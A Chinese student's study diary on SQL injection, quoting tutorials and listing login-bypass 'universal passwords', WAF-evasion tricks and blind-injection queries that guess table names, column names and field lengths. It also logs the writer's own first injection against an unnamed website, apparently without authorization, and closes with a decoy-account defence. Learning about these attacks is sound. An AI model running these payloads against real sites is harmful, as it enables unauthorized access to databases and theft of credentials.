十一月二号,阴天,想听陈奕迅。
今天看到的这个还挺有意思的,SQL注入原理和万能密码。
数据库老师只是随口带过的一句话没想到竟然是SQL注入的关键.....果然...有自己独立的思考才是最重要的。
-------------------------------------------------------------------------------------------------------------------------------------------------
实验吧关于这部分内容是这样讲的:
-----------------------------------------------------------------------------------------------------------------------------------------------------
有找到很多关于这方面不错的博客
https://www.cnblogs.com/cnhacker/p/6984665.html
注:以下例子均来自这个博客。
------------------------------------------------------------------------------------------------------------------------------------------------------
SQL注入原理:
绕过数据库验证机制直接执行SQL语句。
利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
在用户名处输入'or 1=1-- 而密码随便输入个456呢? 我们来看看数据库中的查询语句:
select id from users where username = '' or 1=1-- and password = '456'
'又 这里呢1=1永远为真,后面 and password = '456'被注释掉了。数据库不需要考虑,这里我们就跳过了验证。
这是几年前的万能密码.
SQL注入一般存在于形如:
HTTP://www.xxx.xxx/text.asp?id=XX
这种带有参数的asp或者动态网页中,注入又分为整形注入和字符串注入。总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。下以HTTP://www.xxx.xxx/test.asp?p=xx为例进行分析,xx此处设为整型。
当输入的参数xx为整型时,通常test.asp中SQL语句原貌大致如下:
select * from 表名 where 字段=xx
所以可以用以下步骤测试SQL注入是否存在。
①HTTP://www.xxx.xxx/text.asp?p=xx’(附加一个单引号)此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY’
数据库无法处理,返回异常;
②HTTP://www.xxx.xxx/test.asp?p=xx and 1=1。1=1为真 test.asp运行正常,而且与没加语句之前的test.asp?p=xx运行结果一样正常显示;
③HTTP://www.xxx.xxx/test.asp?p=YY and 1=2,语句为假,因为1≠2 test.asp运行异常;如果以上三步全面满足,test.asp中一定存在SQL注入漏洞。
❤小技巧:有时管理员会在后台设置过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种试一试。
大小定混合法:VBS并不区分大小写,而网站程序可能区分。然后程序员在过滤时通常要么全部过滤大写字符串,要 么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等;
UNICODE法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行 输入。如+ =%2B,空格=%20 等;URLEncode信息可以参加百度;
ASCII码法:可以把输入的部分或全部字符全部用ASCII码代替,如U=chr(85),a=chr(97)等,ASCII信息参见百度。
如明小子、ID类软件的工作原理:
猜解表名: and exists (select * from 表名)
猜解列名: and exists (select 字段 from 表
爆指定表名内容: and 1=1 union select 1,2,3,4,5 from 表名
猜解列长度 猜解语句: and (select top 1 len(列名)from 表名)>N and (select top 1 len(列名)from 表名)=N 其中N是数字
变换这个N的值猜解列长度,
例如: and (select top 1 len(列名)from 表名)>1 and (select top 1 len(列名)from 表名)>6
如果一直猜到6都显示正常页面,猜到7的时候返回错误(大于6并且小于等于7),那么该列的长度为7。
--------------------------------------------------------------------------------------------------------------------------------------------
看完这篇博客对SQL的注入了解深刻了很多。但是,看完下面的.....我就自闭了T-T
先放个链接:http://www.cnblogs.com/rush/archive/2011/12/31/2309203.html
讲的很清楚,给了我一个新的去看待SQL注入的角度。从攻的角度去看防,以及从防的角度去看攻。
然而。。。。打不开localhost页面做实验我很难受T-T。。以及为啥有的语句这么复杂从来没见过(黑人问号脸.jpg)
---------------------------------------------------------------------------------------------------------------------------------------------------------
摘一段防的角度:
后面作者提到的还有几种防的方式...还没理解......找点资料再看看。明天接着看 =。= night~
------------------------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------十一月四号的华丽分割线--------------------------------------------------------
今天在知乎看了一篇开水小姐姐SQL的注入过程,哈哈很有意思~ 不得不说sqlmap是个强大的工具。顿时又想造工具!!T-T
在网上看了许多讲sql注入的,但我发现我有部分还是不能理解。很幸运找到了一个作者为录视频写的提纲,对比以后发现问题的本质是我欠缺部分web基础。链接:http://www.shack2.org/article/1422779387.html (B站有他的视频,不用专门下录屏软件)
最后码一下万能密码:
admin ' or ' a ' = 'a
admin ' or 1 = 1#(mysql)
admin ' or 1=1 ; -- (sqlsever)
sql = " select *from admin where username = " and password = '' '' ;
另外还在搜索过程里还看到了绕过waf的sql 注入。。??
有点晕........暂且不往下看了。下个sqlmap感受一把再说*-*
-------------------------------------------------------------------------------------------------------------------------
------------------------------------------------十一月五号华丽的分割线---------------------------------------
记录第一次sql注入过程:
【找注入漏洞】
step 1: 在网址后加 ‘ ---------报错:数据库出错
step2: 在网址后加 and 1=1 以及 and 1=2 -----------报错:数据库出错
【猜解表名】
step1:
在链接后面加上 and exists(select * from admin) ----------------结果:页面显示正常 --->说明存在表名admin
step2:
【猜解列名】
step1:
在链接末尾加上 and exists(select admin from admin) --------结果:页面显示正常---------->说明表中存在admin列
step2:
在链接末尾加上 and exists(select password from admin) ----------结果: 页面显示正常 ------->说明存在列password
【猜测字段内容】
step1:
在链接后面加上 and (select top 1 len (admin) from admin )>1 ----------------->页面显示正常
step2:
把上一步的数值通过更改看页面情况。
对于这个网站来说,当我改成5的时候,它报数据库错误了。
说明字段长度为五。
于是,问题又来了!如何高效的进行猜测?
------------------------------------看到一个有意思的角度/trick ----十一月七日 立冬-------------------------------
设置陷阱账号:
设置两个帐号,一个是普通管理员帐号,一个是防注入的帐号。将防注入的账号设置的很象管理员,如 admin,以制造假象吸引软件的检测,而密码是大于千字以上的中文字符,迫使软件分析账号的时候进入全负荷状态甚至资源耗尽而死